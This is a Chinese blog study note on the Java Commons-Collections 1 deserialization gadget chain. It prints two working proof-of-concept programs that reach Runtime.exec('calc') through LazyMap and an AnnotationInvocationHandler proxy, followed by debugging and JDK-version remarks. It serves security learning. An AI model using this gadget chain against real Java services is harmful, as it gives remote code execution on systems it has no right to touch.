yso的cc1

ysoserial/src/main/java/ysoserial/payloads at master · frohoff/ysoserial (github.com)

这里面找

poc

package org.apache.commons.collections;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class ccone {public  static  void  serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();Map<Object,Object> lazyMap =  LazyMap.decorate(map, chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstruct.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);annotationInvocationHandlerConstruct.setAccessible(true);Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxy);serialize(o);unserialize("ser.bin");}
}

调试一下发现用到了lazymap,这个在前面找transform的时候又看见过

在这个lazymap中找到了transform

在一个get方法里面

如果整条链子去分析的话,可以得到这样的流程

如何手写呢?

简单分析

上面是cc1

下面是cc6

poc

package org.apache.commons.collections;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;public class ccone {public  static  void  serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value", "aaa");Map<Object,Object> lazyMap =  LazyMap.decorate(map,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstruct.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, mapProxy);serialize(o);unserialize("ser.bin");}
}

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

里面动态代理这个地方也可以序列化,因为有实现序列化的接口,事实上所有代理都是继承自Proxy,都可以序列化,由于它序列化的和别人不太一样,这里就不展开了

版本问题

之前cc1提到过:

重新下了个jdk8u65后接着奏乐接着舞

按照视频所说,应该可以返回去找到AnnotationInvocationHandler.readObject,很可惜我找不到,所以只能先写demo然后进去调试

最后调试的时候可以看到:

AnnotationInvocationHandler.readObject确实调用了setValue

如果换作高版本jdk(jdk11)

会发现在AnnotationInvocationHandler确实找不到setValue,这其实是官方的一个修复,在jdk8u7几就修复了

浅谈 yso的 Commons-Collections1 (cc1)反序列化链 如何手写这条链子相关推荐

  1. c语言 ipc 参数 序列化,浅谈IPC通信之序列化与反序列化(三)

    由于进行通信肯定要涉及数据的处理,所以我们需要先了解两个基础的概念,序列化和反序列化. 定义 序列化:将对象转化为可保存的字节序列(注意是对象): 反序列:将字节序列恢复为对象的过程. 序列化和反序列 ...

  2. 浅谈C#中的序列化和反序列化

    一.序列化和反序列化的概念 序列化:序列化是将对象转换为可保持或传输的格式的过程,比如转化为二进制.xml.json等的过程. 反序列化:与序列化相对的是反序列化,它将流转换为对象,也就是将在序列化过 ...

  3. 浅谈最近流行的三起区块链51%算力攻击

    很多人可能早就听说过 51% 算力攻击,但更多的可能源于各种媒体渠道中"比特币的缺陷"文章之流.实际上,这个说法并不准确,根据比特币百科上所描述,这种攻击被称为多数人的攻击(Maj ...

  4. 浅谈(chain of responsibility)责任链模式

    一.前言 责任链(chain of responsibility)模式很像异常的捕获和处理,当一个问题发生的时候,当前对象看一下自己是否能够处理,不能的话将问题抛给自己的上级去处理,但是要注意这里的上 ...

  5. 【TensorFlow】TensorFlow从浅入深系列之三 -- 教你如何对MNIST手写识别

    本文是<TensorFlow从浅入深>系列之第3篇 TensorFlow从浅入深系列之一 -- 教你如何设置学习率(指数衰减法) TensorFlow从浅入深系列之二 -- 教你通过思维导 ...

  6. 成长经历:浅谈OSINT认知

    浅谈OSINT认知 ​ 这篇文章也是我第一次写blog,有问题请大家还多多包容. 前言 ​ OSINT这个词是在和一群大佬们的聊天过程中得知的,当时觉得这个陌生的名词好酷,或许对将来从事"h ...

  7. aes key长度_原创 | 浅谈Shiro反序列化获取Key的几种方式

    点击"关注"了解更多信息 关于Apache Shiro反序列化 在shiro≤1.2.4版本,默认使⽤了CookieRememberMeManager,由于AES使用的key泄露, ...

  8. rails 调用php函数_潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞

    潜藏在PHP安全的边缘--浅谈PHP反序列化漏洞 注意事项:1.本篇文章由复眼小组的瞳话原创,未经允许禁止转载2.本文一共1376字,8张图,预计阅读时间6分钟3.本文比较基础,请大佬酌情观看,如果有 ...

  9. php反序列化绕过,浅谈php反序列化漏洞

    关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...

最新文章

  1. Fedora 提出统一流程,弃用上千 Python 2 软件包更可控
  2. Python+Django+Nginx+Uwsgi 详细部署过程(爬坑过程,可以了解各个软件的执行流程,看过)
  3. python zipfile 文件压缩和文件
  4. java三层架构项目事例_三层架构实例
  5. js方式调用php_javascript调用PHP和PHP调用javascript的方法
  6. 甲骨文宣布供应链管理云平台支持LogFire仓库管理系统
  7. map java 初始化赋值_Java 中 HashMap 初始化时赋值(示例代码)
  8. 简单聊一聊PRINCE2与PMP的区别
  9. 一个非常好用的代理服务器软件AllegroSurf
  10. 第二届ATI获奖自动化测试工具介绍
  11. 计算机出现蓝屏怎么恢复,电脑蓝屏怎么解决,小编教你如何恢复正常
  12. OSN1800V OSN1800II OSN1800I 华为全新原包装分组增强型多业务光传送平台
  13. 4、c++头文件、源文件使用小记
  14. 【转】谢帅同学做的——柔软的canvas时钟
  15. java获取异常信息
  16. 80老翁谈人生(314):别了,亲爱的CSDN读者朋友们!
  17. 《数据库原理与应用》马春梅 禹继国 黄宝贵 祝永志 编著 P30 六个表的实现
  18. Intellij IDEA中使用git命令窗口
  19. 软件需求分析复习要点
  20. 推荐系统论文笔记(1):Hybrid Recommender Systems:Survey and Experiments

热门文章

  1. 专家八招秘技防范春节病毒爆发(转)
  2. 如何培养深度思考的习惯?
  3. 探探提醒对方账号异常_探探账号异常不能回复消息怎么办
  4. 基于ssm快递取件及上门服务微信小程序
  5. ArcGIS Pro鹰眼图快速制图
  6. GD32F150x之System Tick
  7. linux 查看numa信息,Linux中查看NUMA信息
  8. 电脑正在更新计算机一直是,win10电脑一直不停更新怎么办啊
  9. 3.Java流程控制语句
  10. 百度翻译mac桌面端:百度翻译 for Mac